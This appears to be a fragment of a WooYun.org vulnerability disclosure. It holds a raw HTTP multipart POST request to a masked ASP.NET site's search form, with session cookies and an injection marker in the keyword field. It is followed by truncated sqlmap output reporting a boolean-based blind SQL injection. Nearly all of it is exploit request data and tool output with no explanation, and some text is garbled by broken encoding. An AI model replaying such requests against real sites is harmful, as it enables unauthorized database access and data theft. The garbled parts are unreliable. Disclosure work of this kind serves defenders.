WooYun.org

POST /tabid/491/Default.aspx?key=math HTTP/1.1
Host: **.**.**.**
Proxy-Connection: keep-alive
Content-Length: 2014
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://**.**.**.**
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryX8hcAHZcaBsh4PWg
DNT: 1
Referer: http://**.**.**.**/tabid/491/Default.aspx?key=math
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6
Cookie: .ASPXANONYMOUS=Uh0mbPnS0AEkAAAAYWI2OWNhNjMtOWJlYy00ZjUzLTlkMjQtZjhjMzk4M2EzNDA40; ASP.NET_SessionId=qxfmicegwoeetgrzqptmmmnn; _gscu_844750352=27464579wrmrhs12; _gscs_844750352=33162133sh83fg40|pv:16; _gscbrs_844750352=1; _gscu_1766238603=274645796kbmg812; _gscs_1766238603=331621330wcelx40|pv:16; _gscbrs_1766238603=1
------WebKitFormBoundaryX8hcAHZcaBsh4PWg
Content-Disposition: form-data; name="__EVENTTARGET"
------WebKitFormBoundaryX8hcAHZcaBsh4PWg
Content-Disposition: form-data; name="__EVENTARGUMENT"
------WebKitFormBoundaryX8hcAHZcaBsh4PWg
Content-Disposition: form-data; name="ess$ctr1180$Online_QuestionList_User$txtKeyWord"
cet*
------WebKitFormBoundaryX8hcAHZcaBsh4PWg
Content-Disposition: form-data; name="ess$ctr1180$Online_QuestionList_User$txtNum"
------WebKitFormBoundaryX8hcAHZcaBsh4PWg
Content-Disposition: form-data; name="ess$ctr1180$Online_QuestionList_User$txtTimeFrom"
------WebKitFormBoundaryX8hcAHZcaBsh4PWg
Content-Disposition: form-data; name="ess$ctr1180$Online_QuestionList_User$txtTimeTo"
------WebKitFormBoundaryX8hcAHZcaBsh4PWg
Content-Disposition: form-data; name="ess$ctr1180$Online_QuestionList_User$btnSearch"
??гдиибебщ
------WebKitFormBoundaryX8hcAHZcaBsh4PWg
Content-Disposition: form-data; name="ScrollTop"
------WebKitFormBoundaryX8hcAHZcaBsh4PWg
Content-Disposition: form-data; name="__essVariable"
------WebKitFormBoundaryX8hcAHZcaBsh4PWg
Content-Disposition: form-data; name="__VIEWSTATE"

---
Parameter: #1* ((custom) POST)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING c
    Payload: ------WebKitFormBoundaryX8hcAHZcaBsh4PWg
Content-Disposition: form-data; name="__EVENTTARGET"